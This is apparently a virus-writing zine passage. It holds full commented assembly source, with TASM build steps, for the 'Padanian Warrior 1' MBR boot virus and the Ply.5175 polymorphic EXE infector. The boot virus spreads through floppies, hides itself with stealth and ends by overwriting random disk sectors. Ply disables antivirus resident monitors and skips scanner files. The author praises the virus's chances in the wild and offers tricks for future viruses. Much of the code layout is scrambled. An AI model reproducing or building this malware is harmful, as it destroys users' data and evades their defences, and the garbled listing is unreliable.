Payload activation: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ Also the payload activation is intelligent (even if, in my opinion, the payload isn't). At every boot from the MBR the virus will decrement a payload counter by one (at virus installation this will be initialized to 78h) and when it will come to zero the payload will be activated. The real cool thing is that on every succesfull floppy disk infection the payload counter will be incremented by two, so on machines with a good traffic of floppyes (hehe, a good virus distro :) ) the payload may never activate. On the other side on closed machines that don't spread the virus the payload may activate faster. This is a good idea, since it may not be a good thing to activate the payload (and make anyone to understand that a virus is around by trashing all the data on the hard disk) on a PC where a lot of floppyes are moving everyday (for example in a PC shop, in a school or in an office), while an isolated machine that doesn't give any profit to the virus may be attacked. The payload is rather dummy: it will just go in an infinite loop where ranomly selected sectors (4 at once) are overwritten by some random data.

Other goodies: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍ As for other goodies I may mention that the virus uses also some 386 instructions to make the code shorter and more efficent. The real virus name is "encrypted" at the end of the virus. To get the name you must UUENCODE the boot sector and you will see the name 8)))))

Bad virus aspects: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ The virus has also some bad aspects. These aren't bugs or something like, but are things decided to make the code shorter. Padanian Warrior 1 infact relays to be on a system of a "normal" (say tipical if you want :) ) user. Infact for example it relays on the fact that a DOS partition is set on 0,1,1 , that all the diskettes (or quite all) have the same 1.44Mb format and that no other operating systems are used (since it doesn't save the original boot sector). But of course notice that IT FITS IN 448 bytes! So we can't pretend that it will make check of every possible O.S. or PC :) This "Bad virus aspects" section is only to give some ideas for future implementations and future viruses, not to say that the virus is bad! The virus relays on many settings and parameters from "normal" users, which are the real target of the virus (real users anyway aren't so lame to get infected... and don't use d0$ ;)) ) and this is normal, since to make all the possible checks the virus may have to use the entire floppy :) So, in my personal opinion, the Padanian Warrior 1 is effectively aimed to infect "normal" users and with those users it will

work really very fine, so I suppose it may have a good chance to stay in the wild!

Description conclusion: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ This is undoubtely a VERY good boot virus. It has a lot of cool things and techs and all of this in just a sector. Expecially the port writing routine is great for its size and the payload activation method is undoubtely very interesting and may be interesting for payload activation for other viruses. Well, I think that you may find many interesting tricks and implementations that may give your next boot virus a better look :) Greetings to the author of the Padanian Warrior 1! Hey, we all are already waiting for the second one 8))

Virus disasm: ÍÍÍÍÍÍÍÍÍÍÍÍÍ And here finally we come to the virus disasm, enjoy! To compile, use TASM 3.0 (at least to get the real first generation): tasm /l /zi /m2 pdnwar.asm tlink /m /v pdnwar.obj tdstrip -c pdnwar.exe the resulting 512 bytes file must be put on a floppy boot sector... * .model tiny .code .386 ; Some macros, so the source will be more clear and readable :) ; This second macro is to prevent TASM to optimize in his way the LEA ; generation... since we want the same code as in the original virus :) lea_ok MACRO fromreg, segment, Imm16, refreg db 08dh ifidn , db 0bfh endif ifidn , db 0bfh endif ifidn , <si> db 0b7h endif ifidn , <SI> db 0b7h endif dw Imm16 ENDM ; This last macro is to ; word in memory... add_l MACRO db db dw db ENDM

prevent again a TASM optimization of add to a weird, pitr, refreg, offset, drek, add_value 83h 87h offset add_value

; End of macros... finally the real virus code! :-) org

0

jmp nop

short virus_start

; Jump to virus body

; ; Here is placed the floppy data that will _always_ go around with the virus! ; This DBs are the first generation ones. ; db db db db db db db db

04dh,053h,044h,04fh,053h,035h,02eh,030h 000h,002h,001h,001h,000h,002h,0e0h,000h 040h,00bh,0f0h,009h,000h,012h,000h,002h 000h,000h,000h,000h,000h,078h,000h,000h 000h,000h,000h,029h,000h,009h,042h,026h 04eh,04fh,020h,04eh,041h,04dh,045h,020h 020h,020h,020h,046h,041h,054h,031h,032h 020h,020h,020h

org

3eh

push pop

cs ss

mov

sp,7c00h

push pop

cs es

push pop

cs ds

mov

si,(offset int18_handler + 7c00h) ; copy a part of virus body di,300h ; in a piece of the IVT cx,(offset orig_int13 - offset int18_handler) movsb

virus_start:

mov mov rep

; Set SS:SP to 0:7C00h

; CS = DS = ES = SS

mov movsd

si,4ch

; ; ; ; ;

push

es

; save ES for later

push pop

0f000h es

; point ES to ROM

xor

bx,bx

inc cmp jne

bx word ptr es:[bx],18cdh look_for_cd18

mov mov mov

si,04ch word ptr [si],bx word ptr [si+2],es

look_for_cd18:

SI on orig int13h save Seg:Off of int13h at the end of our piece of body (exactly at the place for int CEh)

; 18_tech routine ; search the int 18h in ROM

; set the int 13h to point ; to the CD18

mov pop

dword ptr [si+14h],300h ; new int18h handler is at ; 0:300h es

mov mov mov mov

ax,301h bx,sp cl,5 dh,0

; ; ; ;

cmp jb

dl,80h not_from_hd

; is the hd?

dec jnz

word ptr ds:[7c20h] no_activation

; payload counter

write a sector from disk from es:sp points where the virus resides on the hd

payload: in xor ch,al in xor and mov bx,cx

al,40h al,40h cl,al cl,1fh

; get random offset in BX ; and random sector/cylinder ; in CX

in xor and

al,40h dh,al dh,0fh

; get random head in DH

mov int

ax,304h 0ceh

jmp

short payload

int

0ceh

; rewrite the virus body ; in its place (counter ; decreased)

mov mov push

ax,201h cl,1 013cdh

jmp

sp

; ; ; ; ; ; ; ;

mov

word ptr ds:[7c20h],78h ; initialize the payload cntr

mov mov mov mov int

ah,2 bh,7eh cl,1 dl,80h 0ceh

cmp jne

byte ptr ds:[1bfh+bx],1 ; first partition starts at 1? already_infected ; no, so probably infected or ; infection may not be ok

mov mov

ax,302h bh,7ch

; write 4 sectors

no_activation:

read a sector the MBR set an int13h on the top of the stack execute the pushed int13. this is reload the old mbr (using stealth) and then run it

not_from_hd:

; ; ; ; ;

read one sector to bx = 7E00h read the MBR from disk do the real int13h

; write two sectors ; bx = 7c00h

mov

cl,5

; ; ; ;

save the virus body and the original mbr starting with sector 5 do the real int13h

int

0ceh

mov

si,7fbeh

mov mov rep

di,7fceh cl,10h movsb

mov

word ptr ds:[3bfh+bx],0500h ; puts 05 as start of first ; partition in partition tbl

mov xor stosw

di,7fceh ax,ax

mov stosw

al,4

; points to the original ; partition table ; where to save it ; copy the partition table ; 10h below the original ; position

; ; ; ;

modify the partition table so it will be quite hard to boot without the virus in in memory :)

; do virus second "partition"

mov al,5 stosb mov

si,(offset ide_prog + 7c00h) ; point to the init sequence

mov mov

cl,7 dx,1f0h

; starting port - 1

; now the virus will initialize the controller, set the write mode etc... ; look at the ide_prog label for the details! program_ide: inc outsb loop

dx

; increase port ; write DS:SI to port DX

program_ide

wait_loop:

; wait a little for the ide loop

wait_loop

mov mov mov rep

si,7e00h ch,1 dl,0f0h outsw

; ; ; ;

point to the 'new' MBR copy 200h bytes to port 1f0h write the modified MBR

mov mov mov rep

si,7fceh di,7fbeh cl,10h movsb

; ; ; ;

modify also the second saved MBR that will be of use to confuse dos at a boot from a clean floppy

mov mov rep

cl,30h al,0 stosb

; delete the a second entry ; from partition table

mov mov mov

ax,301h bh,7eh cl,4

; write the second mbr to hd ; bx to the modified mbr

mov dx,80h int already_infected: int

0ceh

; do the real int13h

19h

; reboot

; From this point the virus will be copied to 0:300h in memory and will stay ; always there... int18_handler: add

sp,6

; correct stack since the ; virus uses 18_tech

cmp jb

ah,2 leave_call

; reading?

cmp ja

ah,3 leave_call

; writing?

cmp jne

cx,1 leave_call

; on boot/mbr ?

cmp ja

dx,80h leave_call

; on floppy or hd?

mov mov mov int

ax,302h cl,7 dl,80h 13h

; save 1024 bytes from ; the buffer ES:BX on a ; buffer on the HD

mov mov int

ax,201h cl,5 13h

; read the entire virus ; from the HD to ES:BX

add push push retf

bx,offset infect_ste es bx

; jump to the infection ; routine (we just readed ; it from the disk)

int

13h

pusha

returning:

popa popf retf leave_call:

orig_int13

; Pop flags ; Return far

2

db dd

0eah 00h

; original seg:off of int13h ; int CEh will point on this ; doubleword

; here is the end of the part of the virus that is always in memory (starting ; from 0:300h up to 0:33Ch) org

$-4

; ; ; ; ;

The next four bytes (as you notice by the org :) ) are overwritten in memory by the int13h seg:off, but are always present on the

; disk. Infact the infection ; routine is present in mem ; just when needed... infect_ste: popa

; reload calling regs

mov

al,01h

cmp jb

dl,80h floppy_disk

; is on the HD ?

cmp je

ah,03h you_wont

; writing on the MBR ??? :)

pusha

; it seems they are going ; to read it...

add mov int

bh,2 cl,6 13h

; read the saved one from HD

mov mov int

ax,301h cl,7 13h

; save it on our disk buffer

popa you_wont: clc xor jmp

ax,ax short exit_infect

; zero AX

cmp je

ah,2 reading_it

; are they reading?

int

0ceh

; well, leave the sucker ; to write and exit

jmp

short exit_infect

bx add int pop

bh,2 0ceh bx

; read it in our mem buffer ; (this is ES:[BX+200h])

jc

exit_infect

; exit on error

lea lea_ok

si,ds:[0227h + bx] di,ds:[ 027h + bx]

; point to the serial num ; point to the dest serial num

segcs

movsd

; copy the serial number

cmp

jne

word ptr es:[220h+bx],0 ; ; ; ; ; no_bonus

mov

ax,301h

floppy_disk:

reading_it: push

cld pusha

this place is usually at floppy formatation 00h, so if it != 00h then maybe it is already infected and it may contain a payload cntr

; write virus to floppy disk

int jc

0CEh no_bonus

add_l

word ptr [bx+ 20h ],02h ; add 2 to our payload counter

mov mov mov int

ax,301h cl,5 dl,80h 13h

; rewrite the virus body ; to its usual place, but ; with the different counter

mov add mov mov int

ax,201h bh,2 cl,1 dx,180h 13h

; ; ; ;

read the dos boot sector that is very probably here. this is a good "normal" boot sector

lea

si,ds:[bx-200h+03h]

lea_ok

di,ds:[ 03h + bx]

; ; ; ;

point to our space for the bpb point to the dos boot space of the bpb

mov

cl,3bh

; how many bytes we need

segcs

rep movsb

; move our (floppy) bpb to ; it's place.

mov mov mov int

ax,301h cl,7 dh,0 13h

; ; ; ; ;

pushf pusha mov mov mov

ax,202h cl,7 dl,80h

; read the two sectors from ; our temp disk buffer to ; his buffer in ES:BX

db dw dw

0eah 330h 00h

; ; ; ;

; error? if so no bonus!

no_bonus:

write it to the buffer on the disk... this is what will be returned also to the user this is floppy bs stealth

popa exit_infect:

; ide programming sequence org $-1

jmp far adress of returning the segment where the virus resides is always 00h

; one byte for ide programming ; is used directly from the ; absolute jump before

ide_prog:

db db db db db db db

000h 001h 001h 000h 000h 0A0h 030h

; ; ; ; ; ; ; ; ; ; ;

ÚÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Port ³ Effect ³ ÃÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 1F1h ³ Set Precompensation to 0 ³ ³ 1F2h ³ Set Sector count to 1 ³ ³ 1F3h ³ Set Sector number to 1 ³ ³ 1F4h ³ Set Cylinder high to 0 ³ ³ 1F5h ³ Set Cylinder low to 0 ³ ³ 1F6h ³ Set Drive to 0, Head 0 ³ ³ 1F7h ³ Set Write sector ³ ÀÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

; name_stuff are bytes used for the virus name

name_stuff:

boot_marker

db db

070h,086h,048h,06Eh,0A6h,01Bh,0B7h,087h 02ch,0A9h,0BFh,024h,041h

org db org

01feh 55h,0AAh 200h

end

Ply family ÄÄÄÄÄÄÄÄÄÄ These are dangerous nonmemory resident parasitic viruses. They search for all EXE files in the current directory, then write themselves to the end of the file. The viruses are not encrypted, but they look as polymorphic viruses. Their codes in different infected files have very few constant bytes, and as a result there is no constant scan string to detect these viruses. To do that the viruses use quite complex engine that "mixes" the code in the virus body. The viruses contain three blocks: block of main code, block of data, block of redirected calls. ÚÄÄÄÄÄÄÄÄÄÄ¿ ³Main Code ³ ³ ³ ³----------³ ³Data ³ ³----------³ ³Redirected³ ³Calls ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄAll assembler instructions in the Main Code are not more that 3 bytes of length, and all instructions occupy three bytes in the virus code. If the length of instruction is less than 3 bytes, free bytes contain NOP instructions. As a result all instructions in the viruses occupy 3-bytes blocks. While infecting a file the viruses "move" the instructions in the 3-bytes block, if there is NOP command: 8C C8 90

MOV AX,CS NOP

<ÄÄ> 90 8C C8

NOP MOV AX,CS

There are also the data that contain 6-bytes blocks to copy the instructions to Redirected Calls and replace them with CALL or JMP commands: Replaced with CALL ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ E8 xx xx CALL Ä¿ <ÄÄ> ... <ijÄÄÄ¿ ... ³ ³ ... V ³ 8C C8 MOV AX,CS ³ 90 NOP ³ C3 RET ÄÄÄ-

Replaced with JMP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ E9 xx xx JMP Ä¿ <ÄÄ> ... <ijÄÄÄ¿ 8C C8 ... ³ ³ ... V ³ 8C C8 MOV AX,CS ³ 90 NOP ³ E9 xx xx JMP back Ä-

Original code ÄÄÄÄÄÄÄÄÄÄÄÄÄ 90 NOP MOV AX,CS

<marked as free block>

So, any instruction can be shifted in the 3-bytes blocks, it can be copied to random selected address in the virus and then replaced with CALL or JMP command, and existing CALLs and JMPs redirectors can be replaced with original code. No byte is encrypted, and there are very few constant bytes to detect the virus. Such complex engine is not bugs-free, and the viruses often corrupt the files while infecting them. The viruses check the names of the files before infecting them, and do not infect the files:

"Ply.4224,4722": AVP AVPLITE AVPVE EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN TBSCAN TBAV TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG TBMEM TBSETUP TBSCANX TBUTIL VALIDATE VIRSTOP VPIC VSAFE. "Ply.5133": AVP AVPLITE AVPVE EICAR EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN TBSCAN TBAV TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG TBMEM TBSETUP TBSCANX TBUTIL VALIDATE VIRSTOP VPIC VSAFE. "Ply.5175": AVP AVPLITE AVPVE BAIT EICAR EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN TBSCAN TBAV TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG TBMEM TBSETUP TBSCANX TBUTIL VALIDATE VIRSTOP VIRUS VPIC VSAFE "Ply.4722,5133,5175" delete the \NCDTREE file, if it exists. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PLY_5175.ASM]ÄÄ comment * Ply.5175 Disassembly by Darkman/29A Ply.5175 is a 5175 bytes parasitic direct action EXE virus. Infects every file in current directory, when executed, by appending the virus to the infected file. Ply.5175 has an error handler, anti-heuristic techniques, anti-debugging techniques, retro structures and is polymorphic in file by using its internal polymorphic engine. To compile Ply.5175 with Turbo Assembler v 4.0 type: TASM /m PLY_5175.ASM TLINK /t /x PLY_5175.OBJ * .model tiny .code org 100h

; Origin of Ply.5175

code_begin: delta_offset equ $+01h mov bp,100h poly_begin: mov ax,cs nop mov ds,ax nop mov es,ax nop mov sub nop

ax,100h bp,ax

sti nop nop cld nop nop mov

; Delta offset ; BP = delta offset ; AX = code segment ; DS =

"

"

; ES =

"

"

; AX = offset of beginning of code ; Subtract offset of beginning of ...

; Set interrupt-enable flag

; Clear direction flag

ax,2020h

mov add nop mov add nop add int nop

si,(4e41h-2020h) si,ax ; "

; Disable AutoProtect and NAVTSR " " "

di,(4e55h-2020h) di,ax ; "

;

ax,(0fe02h-2020h) 2fh

;

mov add lea add nop int nop

ax,20e0h ax,(4100h-20e0h) ; Delete file dx,_ncdtree ; DX = offset of _ncdtree dx,bp ; Add delta offset

xor nop mov nop mov lea add nop mov rep nop

ax,ax

; Zero AX

ds,ax

; DS = segment of interrupt table

cx,04h movsb

; Move four bytes to int2f_addr ; Move interrupt vector 2fh to int...

mov nop mov nop

ax,cs

; AX = code segment

ds,ax

; DS =

mov mov call

ax,1202h ; Get interrupt address dx,24h ; Get interrupt address of interru... int2f_simula

mov nop mov nop

ax,cs

; AX = code segment

es,ax

; ES =

mov cmp nop je nop

ax,(24h*04h) ; AX = offset of interrupt vector 24h bx,ax ; Debugging?

mov add call

ax,(3501h-2020h) ax,2020h int21_simula

lea add nop mov nop

di,int01_off ; DI = offset of int01_off di,bp ; Add delta offset

mov nop mov

ax,cs

; AX = code segment

es,ax

; ES =

" " "

" "

"

"

"

"

"

"

21h

si,(2fh*04h) ; SI = offset of interrupt vector 24h di,int2f_addr ; DI = offset of int2f_addr di,bp ; Add delta offset

prepare_exit

[di],bx

"

"

"

"

; No debugging? Jump to prepare_exit

; Get interrupt vector 01h

; Store offset of interrupt 01h

"

"

nop mov add lea add nop call prepare_exit: lea add nop lea add nop mov stosw nop nop mov stosw nop nop mov stosw nop nop mov stosw nop nop lea add nop mov poly_loop: in nop mov nop in nop xor nop and nop

ax,(2501h-2020h) ; Get interrupt vector 01h ax,2020h dx,int01_virus ; DX = offset of int01_virus dx,bp ; Add delta offset int21_simula si,file_header ; SI = offset of file_header si,bp ; Add delta offset di,instruct_ptr ; SI = offset of instruct_ptr di,bp ; Add delta offset

ax,[si+14h] ; AX = instruction pointer ; Store instruction pointer

ax,[si+16h] ; AX = code segment ; Store code segment

ax,[si+0eh] ; AX = stack segment ; Store stack segment

ax,[si+10h] ; AX = stack pointer ; Store stack pointer

si,poly_begin ; SI = offset of poly_begin si,bp ; Add delta offset cx,(poly_end-poly_begin)/03h al,40h

; AL = 8-bit random number

ah,al

; AH =

"

"

"

al,40h

; AL =

"

"

"

al,ah

; AL =

"

"

"

al,00011111b

; AL = random number between zero ...

push nop nop push nop nop

cx

; Save CX at stack

si

; Save SI at stack

cmp nop jne nop

al,00h

; Prepend a NOP to the opcode?

test_append

; Not equal? Jump to test_append

mov nop

al,[si]

; AL = first byte of three-bytes b...

cmp nop je nop

al,90h

mov cmp nop jne nop

al,[si+02h] ; AL = third byte of three-byte block al,90h ; NOP (opcode 90h) dont_poly

; Not equal? Jump to dont_poly

mov nop lea add nop mov

ax,[si]

; AX = first word of three-bytes b...

[bx+01h],ax

; Store first word of three-bytes ...

cmp nop je nop

al,0ebh

; JMP imm8 (opcode 0ebh)

dec_imm8

; Equal? Jump to dec_imm8

and nop cmp nop jne nop

al,11110000b

dont_poly

; NOP (opcode 90h)? ; Equal? Jump to dont_poly

bx,poly_buffer ; BX = offset of poly_buffer bx,bp ; Add delta offset

al,70h prepend_nop

; Jump on condition? ; Not equal? Jump to prepend_nop

dec_imm8: dec prepend_nop: mov nop mov nop

byte ptr [bx+02h]

mov nop mov nop mov rep nop dont_poly: jmp test_append: cmp nop jne nop

di,si

; DI = offset of current three-byt...

si,bx

; SI = offset of poly_buffer

cx,03h movsb

; Move three bytes ; Move three-bytes block to offset...

al,90h [bx],al

; Decrease 8-bit immediate

; NOP (opcode 90h) ; Prepend a NOP to the opcode

test_loop al,01h

; Append a NOP to the opcode?

test_create

; Not equal? Jump to test_create

mov nop cmp nop jne nop

al,[si]

; AL = first byte of three-bytes b...

mov lea add nop

ax,[si+01h] ; AX = second word of three-bytes ... bx,poly_buffer ; BX = offset of poly_buffer bx,bp ; Add delta offset

al,90h dont_poly_

; NOP (opcode 90h)? ; Not equal? Jump to dont_poly_

mov nop

[bx],ax

; Store second word of three-bytes...

cmp nop je nop

al,0ebh

; JMP imm8 (opcode 0ebh)

dec_imm8_

; Equal? Jump to dec_imm8_

and nop cmp nop jne nop dec_imm8_: inc append_nop: mov nop mov

al,11110000b

mov nop mov nop mov rep nop dont_poly_: jmp test_create: cmp nop jne nop

di,si

; DI = offset of current three-byt...

si,bx

; SI = offset of poly_buffer

cx,03h movsb

; Move three bytes ; Move three-bytes block to offset...

mov nop cmp nop jne nop mov nop create_call: cmp nop je nop cmp nop je nop cmp nop je nop cmp nop je nop

al,70h append_nop

; Jump on condition? ; Not equal? Jump to append_nop

byte ptr [bx+01h] al,90h [bx+02h],al

; Decrease 8-bit immediate

; NOP (opcode 90h) ; Append a NOP to the opcode

test_loop al,02h

; Create a CALL imm16 to the opcode?

delete_call

; Not equal? Jump to delete_call

ax,[si]

; AX = first word of three-bytes b...

al,90h create_call

al,ah

; NOP (opcode 90h)? ; Not equal? Jump to create_call

; AL = second byte of three-bytes ...

al,0e9h

; JMP imm16 (opcode 0e9h)

call_exit

; Equal? Jump to call_exit

al,0e8h

; CALL imm16 (opcode 0e8h)

call_exit

; Equal? Jump to call_exit

al,0ebh

; JMP imm8 (opcode 0ebh)

call_exit

; Equal? Jump to call_exit

al,0c3h

; RET (opcode 0c3h)

call_exit

; Equal? Jump to call_exit

and nop cmp nop je nop cmp nop je nop

al,11110000b

call

get_poly_off

mov rep nop

cx,03h movsb

mov nop stosb nop nop

al,0c3h

in nop stosb nop nop

al,40h

in nop stosb nop nop

al,40h

mov nop lea add nop mov nop

al,0e8h

mov nop sub nop sub mov

ax,di

; AX = random offset of polymorphi...

ax,si

; Subtract offset of current three...

mov nop mov sub nop mov nop mov rep nop call_exit: jmp delete_call:

di,si

; SI = offset of current three-byt...

ax,03h di,ax

; AX = size of opcode CALL imm16 ; Subtract size of opcode CALL imm...

si,bx

; SI = offset of poly_buffer

cx,03h movsb

; Move three bytes ; Move three-bytes block to offset...

al,70h

; Jump on condition?

call_exit al,50h

; Equal? Jump to call_exit ; PUSH reg16/POP reg16?

call_exit

; Equal? Jump to call_exit

; Move three bytes ; Move three-bytes block to offset...

; RET (opcode 0c3h) ; Store RET

; AL = 8-bit random number ; Store 8-bit random number

; AL = 8-bit random number ; Store 8-bit random number

; CALL imm16 (opcode 0e8h)

bx,poly_buffer ; BX = offset of poly_buffer bx,bp ; Add delta offset [bx],al

; Create a CALL imm16 to the opcode

ax,06h ; Subtract size of six-bytes block [bx+01h],ax ; Store 16-bit immediate

test_loop

cmp nop jne nop

al,03h test_create_

; Not equal? Jump to test_create_

mov nop cmp nop jne nop

al,[si]

; AL = first byte of three-bytes b...

al,0e8h

; CALL imm16 (opcode 0e8h)?

call_exit_

; Not equal? Jump to call_exit_

mov add

ax,[si+01h] ; AX = 16-bit immediate ax,03h ; Add size of opcode CALL imm16

mov nop add nop lea add nop cmp nop jb nop

di,si

; DI = offset of current three-byt...

si,ax

; Add 16-bit immediate

mov rep nop

cx,03h movsb

; Move three bytes ; Move three-bytes block to offset...

mov nop mov nop mov

al,90h

; NOP (opcode 90h)

ah,al

; NOP; NOP (opcode 90h,90h)

in nop mov

al,40h

in nop mov nop call_exit_: jmp test_create_: cmp nop jne nop mov nop cmp nop jne nop mov nop create_jmp:

; Delete previously created CALL i...

bx,poly_blocks ; BX = offset of poly_blocks bx,bp ; Add delta offset si,bx call_exit_

[si-03h],ax

[si-01h],al al,40h [si],al

; 16-bit immediate within polymorp... ; Below? Jump to call_exit_

; Store NOP; NOP ; AL = 8-bit random number ; Store 8-bit random number ; AL = 8-bit random number ; Store 8-bit random number

test_loop al,04h

; Create a JMP imm16 to the opcode?

delete_jmp

; Not equal? Jump to delete_jmp

ax,[si]

; AX = first word of three-bytes b...

al,90h create_jmp

al,ah

; NOP (opcode 90h)? ; Not equal? Jump to create_jmp

; AL = second byte of three-bytes ...

cmp nop je nop cmp nop je nop cmp nop je nop

al,0e9h

; JMP imm16 (opcode 0e9h)?

jmp_exit

; Equal? Jump to jmp_exit

al,0e8h

; CALL imm16 (opcode 0e8h)

jmp_exit

; Equal? Jump to jmp_exit

al,0ebh

; JMP imm8 (opcode 0ebh)

jmp_exit

; Equal? Jump to jmp_exit

and nop cmp nop je nop

al,11110000b

call

get_poly_off

mov rep nop

cx,03h movsb

mov nop stosb nop nop

al,0e9h

mov nop sub nop neg nop sub stosw nop nop

ax,di

; AX = random offset of polymorphi...

ax,si

; Subtract offset of current three...

ax

; Negate AX

mov nop lea add nop mov nop

al,0e9h

mov nop sub nop sub mov

ax,di

; AX = random offset of polymorphi...

ax,si

; Subtract offset of current three...

mov nop mov sub nop

di,si

; SI = offset of current three-byt...

ax,03h di,ax

; AX = size of opcode CALL imm16 ; Subtract size of opcode CALL imm...

al,70h

; Jump on condition?

jmp_exit

; Equal? Jump to jmp_exit

; Move three bytes ; Move three-bytes block to offset...

; JMP imm16 (opcode 0e9h) ; Store JMP imm16

ax,02h

; Subtract two from 16-bit immediate ; Store 16-bit immediate

; JMP imm16 (opcode 0e9h)

bx,poly_buffer ; BX = offset of poly_buffer bx,bp ; Add delta offset [bx],al

; Create a JMP imm16 to the opcode

ax,06h ; Subtract size of six-bytes block [bx+01h],ax ; Store 16-bit immediate

mov nop mov rep nop

si,bx

; SI = offset of poly_buffer

cx,03h movsb

; Move three bytes ; Move three-bytes block to offset...

jmp_exit: jmp nop delete_jmp: cmp nop jne nop

test_loop

al,05h

; Delete previously created JMP im...

test_loop

; Not equal? Jump to test_loop

mov nop cmp nop jne nop

al,[si]

; AL = first byte of three-bytes b...

al,0e9h

; JMP imm16 (opcode 0e9h)?

jmp_exit_

; Not equal? Jump to jmp_exit_

mov add

ax,[si+01h] ; AX = 16-bit immediate ax,03h ; Add size of opcode CALL imm16

mov nop add nop lea add nop cmp nop jb nop

di,si

; DI = offset of current three-byt...

si,ax

; Add 16-bit immediate

mov rep nop

cx,03h movsb

; Move three bytes ; Move three-bytes block to offset...

mov nop mov nop mov

al,90h

; NOP (opcode 90h)

ah,al

; NOP; NOP (opcode 90h,90h)

in nop mov

al,40h

in nop mov nop jmp_exit_: jmp nop test_loop: pop nop nop pop nop

al,40h

bx,poly_blocks ; BX = offset of poly_blocks bx,bp ; Add delta offset si,bx jmp_exit_

[si-03h],ax

[si-01h],al

[si],al

; 16-bit immediate within polymorp... ; Below? Jump to jmp_exit_

; Store NOP; NOP ; AL = 8-bit random number ; Store 8-bit random number ; AL = 8-bit random number ; Store 8-bit random number

test_loop

si

; Load SI from stack

cx

; Load CX from stack

nop mov add nop

ax,03h si,ax

; AX = size of block ; SI = offset of next three-byte b...

dec nop nop jz nop

cx

; Decrease CX

jmp poly_exit: jmp nop

poly_exit

; Zero? Jump to poly_exit

poly_loop set_dta_addr

get_poly_off proc near ; Get random offset of polymorphic... in al,40h ; AL = 8-bit random number nop mov ah,al ; AH = " " " nop in al,40h ; AL = 8-bit random number nop mov di,ax ; DI = 16-bit random number nop mov ax,(poly_end-poly_begin)/03h get_rnd_num: sub di,ax ; Subtract number of polymorphic b... nop cmp di,ax ; Too large a 16-bit random number? nop jae get_rnd_num ; Above or equal? Jump to get_rnd_num nop mov nop

ax,di

; AX = 16-bit random number within...

add nop add nop add nop add nop add nop

di,ax

; Add number of polymorphic blocks

di,ax

;

"

"

"

"

"

di,ax

;

"

"

"

"

"

di,ax

;

"

"

"

"

"

di,ax

;

"

"

"

"

"

lea add nop add nop

ax,poly_blocks ; AX = offset of poly_blocks di,ax ; Add offset of poly_blocks to ran... di,bp

; Add delta offset

mov nop mov nop cmp nop jne nop

al,90h

; NOP (opcode 90h)

ah,al

; NOP; NOP (opcode 90h,90h)

[di],ax

; Offset already in use?

get_poly_off

; Not equal? Jump to get_poly_off

ret nop nop endp set_dta_addr: mov nop int nop push nop nop mov nop push nop nop

; Return!

ah,2fh

; Get disk transfer area address

21h bx

; Save BX at stack

ax,es

; ES = segment of disk transfer area

ax

; Save AX at stack

mov nop mov nop

ax,cs

; AX = code segment

es,ax

; ES =

mov nop lea add nop mov nop int nop

ah,1ah

; Set disk transfer area address

dx,dta dx,bp

; DX = offset of dta ; Add delta offset

di,dx

; DI = offset of dta

mov int nop push nop nop mov nop push nop nop

ax,3524h 21h

"

"

21h

; Get interrupt vector 24h

bx

; Save BX at stack

ax,es

; ES = segment of interrupt 24h

ax

; Save AX at stack

mov nop mov nop

ax,cs

; AX = code segment

es,ax

; ES =

mov lea add nop int nop

ax,2524h ; Get interrupt vector 24h dx,int24_virus ; DX = offset of int24_virus dx,bp ; Add delta offset

xor nop mov nop mov

ax,ax

; Zero AX

ds,ax

; DS = segment of interrupt table

"

"

21h

si,(2ah*04h)

; SI = offset of interrupt vector 2ah

lodsw nop nop push nop nop lodsw nop nop push nop nop lea add nop mov mov nop mov

; AX = offset of interrupt 2ah

ax

; Save AX at stack

; AX = segment of interrupt 2ah

ax

; Save AX at stack

ax,int2a_virus ; AX = offset of int2a_virus ax,bp ; Add delta offset [si-04h],ax ; Set interrupt offset 2ah ax,cs ; AX = code segment [si-02h],ax

; Set interrupt segment 2ah

mov nop mov nop

ax,cs

; AX = code segment

ds,ax

; DS =

mov add mov lea add nop

ax,(4e00h-2020h) ; Find first matching file ax,2020h cx,0000000000000111b dx,file_specifi ; DX = offset of file_specifi dx,bp ; Add delta offset

mov nop mov nop mov

bx,dx

jmp nop find_next: mov add find_first: int nop jnc nop xor nop mov nop mov pop nop nop pop nop nop stosw nop nop

"

"

; BX = offset of file_specifi

al,'E' [bx+02h],al

; Correct the file specification

find_first

ax,(4f00h-2020h) ax,2020h

; Find next matching file

21h examine_name

; No error? Jump to examine_name

ax,ax

; Zero AX

es,ax

; ES = segment of interrupt table

di,(2ah*04h) ; DI = offset of interrupt vector 2ah bx ; Load BX from stack

ax

; Load AX from stack

; Set interrupt offset 2ah

mov nop stosw nop nop

ax,bx

; AX = segment of interrupt 2ah

mov nop mov nop

ax,cs

; AX = code segment

es,ax

; ES =

pop nop nop mov nop pop nop nop mov int nop

ax

; Load AX from stack

ds,ax

; DS = segment of interrupt 24h

dx

; Load DX from stack

mov nop mov nop

ax,cs

; AX = code segment

ds,ax

; DS =

pop nop nop mov nop pop nop nop mov sub mov int nop

ax

; Load AX from stack

ds,ax

; DS = segment of disk transfer area

dx

; Load DX from stack

mov nop mov nop

ax,cs

